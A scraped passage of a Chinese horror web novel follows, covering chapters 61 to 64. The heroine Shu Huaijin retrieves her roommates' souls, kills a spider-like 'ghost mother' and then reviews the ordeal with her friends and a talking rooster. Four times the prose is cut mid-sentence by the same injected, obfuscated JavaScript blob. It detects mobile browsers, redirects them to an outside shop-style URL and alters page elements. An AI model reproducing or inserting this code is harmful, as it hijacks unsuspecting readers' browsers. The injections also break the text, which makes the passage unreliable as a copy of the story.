和她方向不相反的鸟儿仿佛得了赦免一般集群从座位上飞起,飞到一定高度便朝她俯冲下来,尖锐的喙部对准舒怀瑾的心脏。 舒怀瑾已经无力拂走这些鸟儿。 但细长鸟喙穿心的画面并没有到来。任意一只鸟儿撞上舒怀瑾的胸口都无法破开她身上那层厚厚的胶带屏障,只能脑袋发懵地被冲击力反噬到一头栽倒在地上。 舒怀瑾的心口传来一阵阵钝痛,但内心却缺心眼般浮上少许窃喜。 幸好她早有准备。 她就这样一步步挪到了大门开外。但当她的脚离开梨园内土地的那一刻起,梨园内的一切都静止了。 鸟儿仍旧保持着俯冲的姿态,戏台上的人也不再往台下流淌。 梨园内的世界以戏台中央为伊始,逐渐如被撕碎般崩坏。不过片刻,梨园就成了一块完全空白的区域。 舒怀瑾心有余悸地远离了这儿,从背包中掏出最后两颗浆果,一口吞下。 精神值恢复了可怜的两点,最终停留在十二点上。 好险,差点她就要异化了。 她强忍颅腔中的疼痛,撇了一眼表。 不看不知道,一看才发现此时时间只剩下两小时。她明明觉得自己没有花那么多时间,或许是门内的世界时间流逝速度和门外不同。 此时她才刚拿到第一团灵魂,她得加快速度了。 她望向院中的假山,那儿的灰白中也渗出些黯淡的光。 虽然是院内造景,但这座假山其实极大,假山内通道万千,外圈还围了一条假河,地形极其复杂。 浅浅一眼望去,那座假山就像一头沉睡的怪兽一般,在月光下呼吸着。 但舒怀瑾已经没有退路了。 她身形略有些摇晃,在黑暗中好几次差点翻倒在假河中,又或是被地上嶙峋的怪石绊倒。就这样踉跄着,她终于看清了第二团灵魂。 这团灵魂似乎燃着些火焰般,较之前的那团灵魂体积大了一些,也明亮了一些,但仍然只有花生大小。 舒怀瑾正伸手准备取下那团悬浮在桥洞下的灵魂,一团面糊一般的东西却从侧面的黑暗中飞扑向了她的手臂。 粘稠的、沉重的糊状物体落在她手臂上后便立即将手臂包裹其中,拖着她整个人往下而去。 地面仿佛被软化一般,逐渐像沼泽一般将舒怀瑾的半身吞入腹中。 两粒黑珍珠从那团面糊中像气泡一般浮了起来,朦胧的声音断断续续地向外传出。 “对不起……怀瑾……是妈妈要我这么做的……” 声音在她的右手和面糊一同被沼泽吞噬时陡然消散。 泥水已经快浸没至舒怀瑾的胸口,她几乎喘不过气来,正打算孤注一掷将公鸡放出来夺去灵魂时,那团灵魂竟被一只手递到了舒怀瑾手边。 舒怀瑾下意识伸手一抓,那团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593684|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵魂就轻易飘到了她手上,随后身下的泥潭逐渐坚硬至崩裂。 她在碎裂的泥中挣扎着爬起来,借着灵魂微弱的光,才见到将灵魂递给她的人的模样。 是王家的“小女孩”。 她的嘴巴已经被缝成了一个极度扭曲的笑容,嘴角几乎要裂到耳根,但珍珠眼睛中却缓缓淌出血泪。 什么话也没说,也什么话都说不了,“小女孩”就这样沉默地消失在了夜风中。 时间只剩下最后一小时,舒怀瑾头痛欲裂,也无心深究“小女孩”为什么要帮自己,只能转身朝假山外跑去。 假山在她身后如龙卷风过境般被摧毁。 现在只剩下最后一团灵魂了。 凝滞的空气中只剩下舒怀瑾的喘气声。不知道是不是被泥潭影响了,她此时生命值也有所降低。再跑下去,她恐怕要立即浑身痉挛倒在泥里。 缓了一会儿,她勉强直起身来,只见不远处的倒座房同样有光芒外泄。 再坚持一会儿,很快就能结束了。 …… 倒座房内的情况比之前见到的任一场景都更复杂。 千百只黄皮子像滔天巨浪一般拍打在舒怀瑾的身上,混着令人作呕的臭味,她甚至都没法靠近放有灵魂的舞台。 除此以外,“方伯”总是神出鬼没地给她一冷棍,叫她在黑暗中更是寸步难行。 越到此时,她脑海中越发浮现出和舍友并肩作战的时候。至少她不会像现在这样无力脱身。 时间越来越紧张,她不敢再耽搁,将公鸡一把抛向舞台。 公鸡明白她的意思,张口直奔灵魂而去。但就在它飞到半途中时,它猝然消失在了空中。 完了,它被鬼妈妈踢出去了。 舒怀瑾顿感绝望,但双手依旧一刻不停地开枪,将扑上来的黄皮子消灭。 下一秒,公鸡却出现在了原地,随后衔住了那团灵魂,朝着舒怀瑾飞来。飞了没两秒,公鸡又消失在半空中,只剩下那团悬浮的灵魂停在原地。 不过片刻,公鸡再度出现。 短短十几米的距离,公鸡消失又出现了好几十回。 等到公鸡最后将灵魂衔到舒怀瑾手里时,它已经累得几乎瘫痪。 数次快速穿梭门内外两个世界几乎耗尽了它的体力。 但好在,他们最后还是成功了。 除他们以外,倒座房中的一切都凝固了,崩塌在漫天飞尘中。 “……谢谢你!“ 堪堪跑出倒座房后,舒怀瑾感激无比,连声道谢,而公鸡已经几乎说不出话来。为防止公鸡再被踢出门中世界,她随即将公鸡收回了卡片之中休息。 还有二十分钟。她已经收了三团荧荧的灵魂,此时正在衣襟中浮动。 除了此时微微发亮的舒家正院以外,世界几乎已经变成了一片空白。 她心下了然,抬脚往正院走去。 待走近了,她却见正门上有什么东西如旗帜般迎风招展。 定睛一看,那不是旗帜。 那是“小女孩”的皮。 62. 暗宅珠影10 那张皮上,“小女孩”的黑珍珠眼睛已经被挑了下来,黑洞洞的眼眶中流下来的血泪已经浸湿了她破烂的衣襟。 舒怀瑾怔然凝视着那道单薄的身影两三秒,旋即深吸一口气,迈步上前,将那张皮用干净的布包裹着,郑重地收进了背包中。 【曾有残魂寄居的人偶表皮】 现在时间紧迫,等她回到门外,她一定要将“小女孩”好好安葬。 带着满腔发涩的怒意,舒怀瑾推开了正院的大门。 霉味愈发浓郁,仿佛岁月在这里悄然停滞。与门外一片空白的光亮相对,门内一片漆黑,只有她的卧室最深处发着几乎要熄灭的光。 舒怀瑾谨慎地朝着黑暗进发,却在迈出第四步时听见一道阴恻恻的嗓音从她背后绕来。 “只有十几分钟了,亲爱的。”鬼妈妈的指尖紧贴衣服滑过她的脊椎,带来一阵宛如蜘蛛步足掠过肌肤表面的刮擦感,“还没完成任务吗?” “时间还没到。” 舒怀瑾的脚步在短暂停顿后继续响起。 鬼妈妈跟在舒怀瑾的身后,足尖点地如钟表般“咔哒”响着:“哦?你真的知道她们剩下的部分在哪儿吗?” “我知道。” 鬼妈妈在黑暗中微笑:“你说说看,我来帮你一起找,怎么样?” “不要告诉她。”大公鸡的声音从意识背包中传来,“如果你说对了位置的话,她会恼羞成怒,可能直接终止赌约。” 舒怀瑾沉默。 她知道的。所以,她打算声东击西。 “这里的一切我都已经搜寻过了,没有她们的身影。”舒怀瑾缓缓开口,“所以,她们一定被你藏在连接两个世界的甬道里。” “我说的对吗?” 鬼妈妈不置可否:“既然你这么认为,那就试试吧。” “不过,你该不会是想趁着门打开的时候逃跑吧?” 舒怀瑾适时从语气中透出一股慌乱,目光在已经锁上的小门飘来飘去:“怎……怎么会呢?我还没找到我的朋友们呢,肯定不是想逃跑啊。” “……你要是不放心,我开了门后不立刻打开门,让你来开,我站在离门五米开外看着你开,怎么样?” “你能这么想,真是太好了。”鬼妈妈赞许地抚摸着舒怀瑾的头发,“体贴的孩子。” 二人谈话间已然走到了卧室之中。舒怀瑾俯下身子,以迅雷不及掩耳之势拿出了钥匙,将小门的锁打开,又迅速将钥匙放了回去。 她与鬼妈妈挨得很近。四周一片寂静之时,她听见鬼妈妈喉咙中吞咽口水的声音。 小门虚掩着,几乎没有任何一丝光亮。舒怀瑾默默绕开身后的鬼妈妈,退至另一面墙前,站在了梳妆台旁。 “来吧,让我来帮你看看,你到底有没有赌对。” 鬼妈妈一边说着,一边慢慢拉开了门。 “哦……真可惜,这里面什么都没……” 她的话音未落,一声砰然巨响霎时间炸裂开来,与之共同坠地的是数十道玻璃碎片。 怎么回事……! 她匆匆回头,却发现舒怀瑾此时已经将梳妆台的镜子捶出了一个巨大的破洞,不顾锋利的边缘,探进了半个身子。 “你竟然敢戏弄我!” 怒不可遏的尖啸伴随着破空之声从背后传来,但舒怀瑾并没有回头,只是继续挥舞着鲜血淋漓的手,在镜子中摸索着,卡着鬼妈妈触碰到自己的前一秒开启了技能。 【技能?求知若渴(测谎仪plus版)】 【选中一名提问的对象,向对方提出问题,对方将自愿以回答你的问题为最优先级任务。注意:问题最多只能问三个,且只能由同一者回答;对方并没有回答问题的记忆;对方的回答仅限于自身认知,并非标准答案。】 “你好,这位好为人妈的蜘蛛小姐,请问你自己的妈妈在哪呢?” 舒怀瑾的技能开启的那一刹那,鬼妈妈的黑珍珠眼睛便失去了神采,向前飞扑的身体就这样落了下来。 她机械性地从地上爬起来,口中却嘻嘻笑着:“我的妈妈?她被我埋在后院里了。她真不是个好妈妈,我那么辛苦地为她挖了坑,她居然还想爬出来。” “幸好,我把她砸晕了,这样她就可以安静地任我安排了。” 说完最后一个字,鬼妈妈便挣扎着回过神来,虽然有些茫然,但还是立即伸出一只手想要攻击舒怀瑾,却又被对方的下一段技能硬控了。 “啊,你的妈妈好惨啊……那你是如何将你的妈妈埋进土里的呢?请你用不少于一千字的生动描述慢慢回答我。” 如果不是技能提示对方的回答不能超过一千字的话,舒怀瑾必然会让鬼妈妈讲到天荒地老的。 “那是一个美好的春天……” 舒怀瑾没再管鬼妈妈说了些什么,将后背交给了从背包中放出来的公鸡,心思则全部放在面前这块被打碎的镜子上。 镜子里别有一番天地,只是漆黑一片,冷得像千年的寒潭,她不敢贸然进入,只是探身搜寻。但她摸索了好一会儿都没摸到东西,正欲再进一步,却感觉衣襟口似乎有什么东西在微微发烫。 低头一看,舍友们的灵魂正争先恐后地往外涌,其中最大的那团灵魂甚至已经钻出了衣襟,往镜中世界悬浮游去。 她急忙伸手想抓住逸逃的灵魂,灵魂却灵巧地一扭身,从她的指缝间溜走了。 剩下的两团灵魂也迅速飞进了镜中世界。 到手的灵魂就这样跑了?舒怀瑾有些犹豫,想迈步跟随灵魂进入镜中世界,却被大公鸡一翅膀拦下来了。 “别进去。像你这种活人,进去了就出不来了。” “……像我这种活人?这是什么意思?”舒怀瑾眼眶顿时有些发红,“我的舍友还能活过来吗?” 公鸡的翅羽尖指指自己的喙部:“我被限制了,无法回答你的这个问题。” 舒怀瑾还没来得及问下一句,就听见镜中传来一阵虚浮又杂乱的脚步声。 听起来像是至少有两个人。 她赶紧把眼眶里蓄的眼泪抹掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593685|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一片朦胧中看见三个熟悉的身影逐渐朝她走来。 距离越来越近,人影也越来越清晰—— 是映雪她们! 她喜出望外,赶忙把镜子四边破坏了个彻底,好让她们方便出来。 至于她们三人的动作略显僵硬,肩头甚至有可疑的水渍,她只当是灵魂归位的后遗症,并不深挖。 黄小姐给她的符还没有失效,这灰白一片的世界里,的确只有她们是彩色的。 她愿意相信她们是真的回来了。 另一边,鬼妈妈对于自己如何谋杀亲生母亲的故事已经讲得差不多了。舒怀瑾将公鸡收回了背包中,边扶着舍友往小门内赶,边卡准时间点补上了一个新问题。 “你的致命弱点是什么?” “……我的心脏。” 鬼妈妈回过神来朝舒怀瑾发动攻击的同时,舒怀瑾的移液枪枪头也发射了。 如暴雨雨点般的枪头打中鬼妈妈的左肋间,却只是给鬼妈妈造成些许皮外伤。但这已经足以挑战鬼妈妈自封的权威,她薄怒之下双臂一扬,卧室地面顿时向下凹陷,整个房间裂成了一张巨大的蜘蛛网。 舒怀瑾一把将三名舍友塞入了甬道中,自己却跌落在了蛛网之上,距离在网底的鬼妈妈只有几步之遥。 没有丝毫犹豫,舒怀瑾直接将公鸡放了出来,一把扔向鬼妈妈的脸。 “对不起!” 公鸡一脸生无可恋地扑向了鬼妈妈,赶在被鬼妈妈踢出世界的前一秒精准地啄下了她的两颗黑珍珠眼睛。 失去了眼睛的鬼妈妈霎时间尖叫起来。舒怀瑾趁此机会向上往小门爬去,然而她在网上才刚动弹,蛛网便将她脚下的震动传到了鬼妈妈那儿。 虽然失去了视力,但作为蜘蛛,鬼妈妈依旧拥有最原始的结网狩猎本能。她感知到震动,当即停止了尖叫,猛然朝舒怀瑾的方向爬去。 毕竟是在蜘蛛网上,蜘蛛的老巢之中,舒怀瑾爬网的速度完全不及鬼妈妈。眼见着就要被已经完全蜘蛛化的鬼妈妈追上,舒怀瑾心中却忽然灵光一闪。 是了,蜘蛛! 鬼妈妈是蜘蛛,而蜘蛛的心脏是在膨大的腹部背面。 怪不得她方才没能将鬼妈妈一击致命。她下意识攻击的完全是人类心脏的位置! 此时鬼妈妈向上爬着,背部一览无余。 舒怀瑾转身一脚蹬掉鬼妈妈扒上来的手,移液枪对准她的腹部背面连发数枚枪头。 这次的攻击明显有效许多,枪头直接击穿了鬼妈妈的背部,将她带回了网底。 上面三名舍友还在情况未知的甬道中,舒怀瑾不敢耽搁,立即向上爬去,只听见鬼妈妈临死前的哀告在网间长响。 “不要离开我!我需要你们……孩子们……我是妈妈啊!” 凄凉的声音逐渐扭曲,仿佛被生生折断的木头一般沙哑刺耳。 “你们为什么都要离开我?留下来!留下来!不知感恩的贱/种……!” 小门被舒怀瑾“砰”地关上,隔绝了一切声响。 63. 暗宅珠影11 舒怀瑾殿后,三位舍友在前,四人一起在狭长的甬道中爬行着。 这次的甬道在微微颤抖,仿佛火山爆发前地面的震颤。她们才刚走了一小会儿,身后的门却忽然轰然爆发出一声巨响,随后甬道更为猛烈地晃动起来。 回头一望,幽深的甬道尽头竟猝然涌出一群黄皮子,红眼暴突龇牙咧嘴向四人扑来。 “快走!” 舒怀瑾急切地喊出声来,转身掏出移液枪,将冲得最前的几只黄皮子击杀。 但这些黄皮子几乎是源源不断,前面的倒了,后面的越过尸体便继续往前。它们身形较小,在甬道中具有天然的优势,因而迅速又扑至了舒怀瑾面前。 黄皮子的触须几乎要扫过舒怀瑾的面庞,她下意识扣动按钮,想连发几枪,却发现指下一滞。 向来救她们于水火中的移液枪竟在关键时候卡壳了。 眼见着黄皮子的利爪就要朝她抓来,舒怀瑾情急之下直接从背包中掏出了原本用来应急的五十袋压缩饼干。 凭空出现的压缩饼干像工地卸货的砖头一般,在狭窄的通道中坠落,迅速堆成了一座小山,卡在路中央,还压倒了几只跟得紧的黄皮子。 趁着黄皮子还在挣扎的机会,四人赶紧往另一端门赶去。 听着身后越来越大的响动声,舒怀瑾额角坠下一滴冷汗。 她现在没有远程攻击武器,而这个甬道明显是要把她们耗死在这儿,根本爬不到尽头。这样下去,被黄皮子追上只是时间问题。 想着能拖一会儿是一会儿,她正打算将背包里其他食物倒出来,却陡然听见没有黄皮子的甬道末端传来一声激昂的公鸡啼鸣声。 手腕上的表此时已经指向凌晨三点。 守则上要求在听见第一声鸡鸣时将视野中所有的黄皮子都消灭,但同时要求她往声源相反处前行。舒怀瑾只感觉脖颈有些僵硬——前者好满足,毕竟她此时正望着鸡鸣的方向,视野中一只黄皮子都没有,但后者完全是将她推上死路。 舒怀瑾没有办法,只能借着余光将背包里所有坚硬的东西一股脑儿都倒在了背后两步远,砌成一堵墙,随后捂住耳朵后撤两步,背后靠在墙上,抵挡扑上来的黄皮子,也勉强算作向反方向跑去。 被不断冲击的墙在逐渐崩塌中迎来了第二声啼鸣,随后是第三声,第四声。 窸窸窣窣的声音夹在鸡鸣的间隙中,细碎而连绵。舒怀瑾只觉得有什么东西落在了她的脚上,低头一看,一只只剩下半截的黄皮子卡在墙隙中,布偶般的截面中有流沙不断淌下。 当黄皮子变成沙,请逃出那扇门。 合着这些生存守则都是一起上的吗?舒怀瑾根本来不及喘气,带着被赶鸭子上架的窘迫感,拔腿就继续往出口爬去。 身后的黄皮子潮此时已经变成了沙潮,如浪般卷席而来。颤抖的甬道在沙石声中吟唱着古老的童谣,空灵如唤魂之曲。 “迷路的孩子,哭泣在林间。” “‘妈妈,妈妈?’回声连连。” “突然一只手,冰冷又湿黏。” “跟我来,跟我来,到永远的家园。” 这歌声宛如咒语一般,舒怀瑾只感觉手脚冰凉、毛骨悚然,膝盖被什么东西一绊,赫然映入眼帘的是一截森白的胫骨。 她心头一跳,在歌谣的影响下仿佛某根神经被崩断一般,再也不管会不会惊醒这甬道了。她为了借力几乎抓住了所有能抓的东西,不意间一把掐住了甬道内壁的褶皱。 甬道骤然紧缩了一下,吃痛般地扭动起来。 骤然的颠簸令舒怀瑾几乎无法站稳,其后的沙潮则趁此机会涌上前来,将她猛然吞入其中。 在被完全吞没的前一秒,舒怀瑾的双眼直直望着甬道的另一端。 她看见远处舍友们的身影逐渐淡化,消散在了风里。 甬道包裹着沙子,寸寸向内收紧。舒怀瑾周身是粗糙沙砾摩擦的响声,裸露的皮肤仿佛在被猛兽的舌头舔舐般刺痛。 舒怀瑾的七窍已经被沙石完全糊住,颅内纷乱的思绪得不到氧气,几乎快要窒息。但有一阵细微的声音穿过沙、穿过骨,被她捕捉。 她听见甬道外壁中有水涌动的声音。 一把长刀出现在她的手中,利刃寒光一闪,遽然刺向了上方! 刀锋穿过沙子划开了甬道上壁,一股强劲的水流霎时从破损处灌进通道中,将沙子与舒怀瑾冲刷开来。 舒怀瑾趁此机会将破口割得更大,伸腿一蹬,从破口边缘钻了出去。 她感受到顶上隐隐约约有光,便向上浮去。 甬道发出不甘的哀鸣,伤口边缘长出细小如孩童般的手,伸长缠绕住舒怀瑾的脚踝。 她挥刀一划,将纠缠的手挑断,奋力向上划去,只留下填满了沙子的甬道逐渐向下坠落,与黑暗融为一体。 周身的寒意吞噬了她的视线。 …… 不知过了多久,舒怀瑾在透过纸窗的阳光烘烤下醒来。 她静静地在破旧的小床上躺了半分钟,随后如弹簧般弹跳起来,猛地拽住了身旁正探身查看情况的大公鸡。 “我怎么在这里?我的舍友们呢?为什么她们会消失?” 她的声音沙哑得如同漏风的鼓风箱,一出声连她自己都吓一跳。 大公鸡显然也被吓了一跳,翅膀扑扇得羽毛都掉了几根。 它急着想说话,却想起来自己此时在门外,只能一笔一划地写给舒怀瑾看。 “森林里那口井突然喷出来好高的水柱,淹到了大门边。我沿着水去找,看见你像具尸体一样,浑身湿透了,躺在井旁边,就把你拉回来了。” “我没捡到你舍友,剩下的我透露不了。” 舒怀瑾沉默了许久,才慢慢又问了一句。 “……故事的结局会是好的吗?” 公鸡轻轻点了点头。 事已至此,舒怀瑾也只有相信公鸡这一个选择了。 她深呼吸,从背包中取出之前剩下的那只死黄皮子,递给了大公鸡。 “抱歉,其他黄皮子都变成沙子了,我只有之前抓的这只可以给你了。” 大公鸡摇了摇头,但还是衔过了那只黄皮子,将其甩到一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593686|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 它其实不需要黄皮子的。它只是想让自己的付出看起来没那么容易被人轻贱。 舒怀瑾大约猜到了大公鸡的意思,也没再将黄皮子捡起来。 算算时间,现在是上午十一点,她还有大约两小时就可以脱离这个副本了。 她拉开梳妆台的柜子,在里面看见已经被绞烂了的娃娃。又沿着墙角走了一遍,却再也没看见那扇小门的身影。 门外传来“咚咚”的敲门声,小女孩的声音透过门传到舒怀瑾耳边来。 “怀瑾,今天天气好好啊,我们一起出去玩吧!” 舒怀瑾将背包中“小女孩”的表皮取出,用干净的白布仔仔细细包好,装进衣襟中,随后走向大门。 她打开大门,外面的阳光真切地映在她的面庞上,传来融融的暖意。 “你先去玩吧,我要办一件事情,晚一点儿才能回来。” 小女孩有些失望,但还是点了点头,在舒怀瑾的微笑注视中一步三回头地回房去了。 她在窗边撑着头,看着舒怀瑾慢慢走向了院外。 …… 副本四周的边界已经消失了,舒怀瑾一路走到了很远的地方。 那里不再是枯木与沙地,而是绿树与春泥。 此时一片茵茵绿草地上多出来了一个新填的土包,后面还立了一块小小的、无名的牌子。 “我请公鸡帮你算过了,这里风水是最好的了。” 舒怀瑾蹲在土包旁,像和朋友聊天一般对它说着话。 “非常感谢你的帮助,但很抱歉,我还不知道你的名字,所以给你的碑是空的。” “……虽然不知道世界是否会重置,但我祝你能解脱。” 公鸡在一旁默默蹲着,目光流转。 不,这个世界已经被完全破坏了,不会再重置了。 它在被放进背包之时就已经预见这个未来了,但当真正面对这一切的时候,它还是有些迷茫。 “副本”,那些人是这么称呼它所在的世界的。它身为副本中的解惑者,或许也可以用他们的说法来讲,它身为一名“NPC”,世界一旦被破坏,此后也不再有人再进来,它的存在也失去了意义。 虽然对之前答疑解惑外加充当打手的生活感到疲惫,但它是一只会说话、会思考的鸡,并不愿意就这样永远地待在这个世界里,做回一只只能每天早上打鸣的鸡,吃日复一日吃鸡食直到老死,就像它的表哥那样。 它看向舒怀瑾。她的意识背包,或许能带它离开这个地方。 只见舒怀瑾将话与“小女孩”说完,看了看腕表:“我要离开了。” 她的周身开始散发白色的光芒。 公鸡挥了挥翅膀,连忙在地上写字。 “带我走,我有这个世界的坐标,你以后可以拿这个世界作为临时的安全屋。” 安全屋?舒怀瑾心念一动。但她马上就要离开这个世界了,眼前已经漫起一阵白光。 先带着罢,之后慢慢问也不迟。 她迅速将公鸡放进了背包中,眼前一花,意识即刻涣散。 64. 细节复盘 “恭喜通关,正在结算奖励……” “奖励结算成功。成功存活,背景还原率98%,隐藏条件达成100%,获得【宿舍升级卡】×1、【一袋面包虫】×1。” “下一题开启时间:七天后。” …… 睁眼看见熟悉的床帘,意识到自己已经回到宿舍的那一刻,舒怀瑾直接从床上弹起来了。 她一把拉开床帘:“映雪、贮月、溪明!” “你们回来了吗?” 良久,另几张床帘里才传出来几声迷迷糊糊的应答。 “……别闹……我都五天没睡好觉了,让我先睡一会儿……” “回……呼噜……呼噜……” “嗯对……” 舒怀瑾按捺不下心中的狂喜,又怕这一切不过是美梦中的幻影,麻溜地下床,依次爬上每个人的床,然后掀开床帘戳戳她们的脸颊。 软的、热的!是活人! 她无声地在宿舍里手舞足蹈,直到因为膝盖上的伤不小心左脚绊右脚,“扑通”一声摔在地板瓷砖上。 “怎么回事?” “发生什么了!” 邓溪明从床帘里探出脑袋来:“……没事,只是舒怀瑾摔了而已……呃呃呃不对!” “怀瑾你怎么满身伤啊!” 一下子三人全都从床上爬下来了,从自动超市里捞了一把担架,一人开道,两人哼哧哼哧地就把舒怀瑾抬去了医务室。 舒怀瑾躺在医疗床上,龇牙咧嘴地看着机械臂给她上药,又再看看身上挂彩少得可怜的三人,哼哼出声:“你们的副本难度那么低吗?怎么就我和刚和□□枪战回来一样啊啊!” “不是吧?我们的副本难度不是一样的吗?” 程映雪托腮。毕竟答题的时候她们都选的同一选项啊。 “难度是一样的。” 公鸡的声音突然出现在舒怀瑾脑海里,把舒怀瑾唬了一跳。 舒怀瑾这才想起来自己还带回来了一只公鸡,连忙把它从背包中放了出来。 一只鸡就这样在医务室里堂堂登场。 江贮月和它大眼瞪小眼:“不是,这不是副本里那只公鸡吗?它怎么在这?” 舒怀瑾想从床上挣扎起身,但又被另外三人很快摁了回去,只好躺在床上仰望天花板:“我放背包里带回来的。” “诶,不对,你能说话了?” 在舒怀瑾满脸惊奇和另外三人云里雾里的注视下,公鸡清了清嗓子:“没错。脱离那个副本以后,我不能在门外说话的禁制似乎消失了。” “你们现在关于上一个副本有什么想问的,我都可以尝试解答一下。” 舒怀瑾举手:“你刚刚说我们副本难度难度一样,为啥我会受这么重的伤。” 公鸡瞥了她一眼:“因为你动作太快了。” 舒怀瑾:? “你们四个是一个队伍的,副本之间会相互影响。你午夜十二点一到就跑门里面去寻仇了,她们三个比你晚进去,还没等到鬼妈妈和甬道发威,你就已经把世界破坏得差不多了,她们那儿自然是畅通无阻。” 舒怀瑾闭眼揩并不存在的眼泪:“终究是我默默扛下了一切。” 程映雪、江贮月、邓溪明三人眼泪汪汪:“怀瑾……辛苦你了……” 舒怀瑾:“诶,所以我在门里救的她们仨的灵魂到底和她们三个有没有关系?” 江贮月惊讶:“啊?你也救了?我也在副本里救了你们,还寻思着这算得上大功一件呢。” 程映雪:“我也救了。” 邓溪明:“我也救了……” 四人的目光投向公鸡。 公鸡摇头:“只是投影罢了。不过,如果你们没在副本里救另外三人的灵魂投影的话,不仅自己的过关难度会增加,另外三人的难度同样会升高。” 这就是问卷对于单人副本的隐藏条件。 江贮月:“阴险阴险真阴险!” 邓溪明:“……没事,换个方向想,我们选择救人就能让副本难度变低。真是酣畅淋漓的默契挑战啊!” 程映雪沉吟:“既然副本之间是相关联的,那你和我们三个副本里的公鸡是什么关系?” 公鸡思索片刻:“同父同母的同事关系。” 四人:好好好。 “所以怀瑾你为什么把公鸡带回来了?” 舒怀瑾听见江贮月的问题,在脑海中回忆了一下,终于提取出关键词:“安全屋!因为公鸡说它可以给我们提供安全屋!” 这次她的移液枪卡壳了,又遇上那么多黄皮子,差点就要死副本里了。要是能有个可以暂时容身的安全屋,她们四人的生存应当能更有保障一些。 见三人有些疑惑地看向自己,公鸡梳理着羽毛,道:“舒怀瑾在的那个副本世界本源已经完全被破坏了,所以它被遗弃了,不再将被投入下一轮的副本使用。” “换句话说,那个副本以后就是一个普通的宁静郊区小院落了,不会有危险。” “我本身有一项能力,是可以自由穿梭在所有我去过的世界中,并且可以指定他人和我一起穿梭。” “所以,我可以随时带你们回到那个被遗弃的副本中。” 时空穿梭?舒怀瑾喜上眉梢:“那能不能直接从新副本里带我们回宿舍呢?” “很可惜,不一定能。” 公鸡的话给她浇了一头冷水:“你们宿舍所处的位置被一团迷雾一样的屏障包裹了,我定位不一定准确,可能随机被传送到别的世界里。” “好吧……” 能有安全屋也已经很厉害了! 不过移液枪会卡壳属实是副本中极不稳定的因素。舒怀瑾想了想,从背包中找到了移液枪的卡牌,却见到它原本的技能介绍下又多出来了一行字。 【移液枪升级中……暂时无法使用,预计等待时间:8天。】 舒怀瑾安详合掌:希望下一个副本不是单人副本,否则她可能活不到升级完毕了。 把上一个副本基本复盘完毕以后,四人便开始研究这次副本的通关奖励。 “又多了四张宿舍升级卡,真是从没打过这么富裕的仗。” 环视宿舍一周,舒怀瑾根本找不到需要补充的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593687|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“宿舍长你好,我要宿舍自动清洁功能。”程映雪忍不住戳了戳她,“我不想再做值日了。” 真是一语点醒梦中人。 舒怀瑾虽然有洁癖,也愿意去为了自己的洁癖多做一些卫生工作,但这并不代表着她乐意做这些。 谁会和偷懒过不去呢? 提议一致通过,卡片金光一闪,宿舍里就多了一名自动清洁机器人。 自动清洁真是最伟大的发明。四人又给宿舍加了一个自动攻击入侵者的功能后,幸福地躺在了床上,几乎想不到宿舍还要怎样才能变得更美好了。 无人问津的公鸡在一旁有些尴尬,被清洁机器人撵得几乎无处落脚。 “请问……我可以在你们宿舍拥有一席之地吗?” 它总不能又被收回卡片中吧。这样每过一段时间,它还得被放出来补充一次空气才能继续待着。 四人一听,这才想起来宿舍里还有一只鸡。 江贮月大手一挥:“要不给你建个鸡舍吧!” 另外三人都没异议,公鸡对此也颇为赞同,于是宿舍里额外多出来了一区崭新的鸡舍。 这下四人一鸡都幸福地躺在床上了,等着清洁机器人先将地板拖干净。 “我还有一个“一袋面包虫”的奖励,奇奇怪怪的,你们都有吗?” 程映雪看着自己背包里肌肉面包虫图案的卡片,不禁有些疑惑。 【一袋面包虫】 【简介:这是一袋神奇的面包虫!能吃、能打、能搬运。小小的身体,大大的能量!当然,如果用来喂鸡的话还是太奢侈了哦。】 【使用方法:对着面包虫大喊“蛄蛹者”后心中默念想要面包虫做的事情,三秒后若面包虫未被破坏,即可实现愿望。】 邓溪明翻了翻背包:“我们都有。” 目光落在“喂鸡”两个字上,程映雪不免心弦一紧。 这份不同寻常的奖励到底是凑巧出现的,还是问卷在宣告已经知道她们把公鸡带回来了? 